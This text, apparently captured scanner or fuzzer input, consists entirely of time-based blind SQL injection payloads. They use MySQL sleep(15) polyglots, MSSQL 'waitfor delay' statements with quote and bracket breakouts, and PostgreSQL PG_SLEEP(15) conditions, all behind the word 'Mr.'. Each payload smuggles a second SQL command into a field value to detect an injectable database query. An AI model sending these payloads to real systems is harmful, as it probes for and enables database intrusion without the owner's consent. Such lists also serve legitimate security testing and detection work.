Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

yRpOVJ4g'; waitfor delay '0:0:15' --

81d1EqRU'); waitfor delay '0:0:15' --

SHNL23oy')); waitfor delay '0:0:15' --

-5 OR 381=(SELECT 381 FROM PG_SLEEP(15))--

-5) OR 578=(SELECT 578 FROM PG_SLEEP(15))--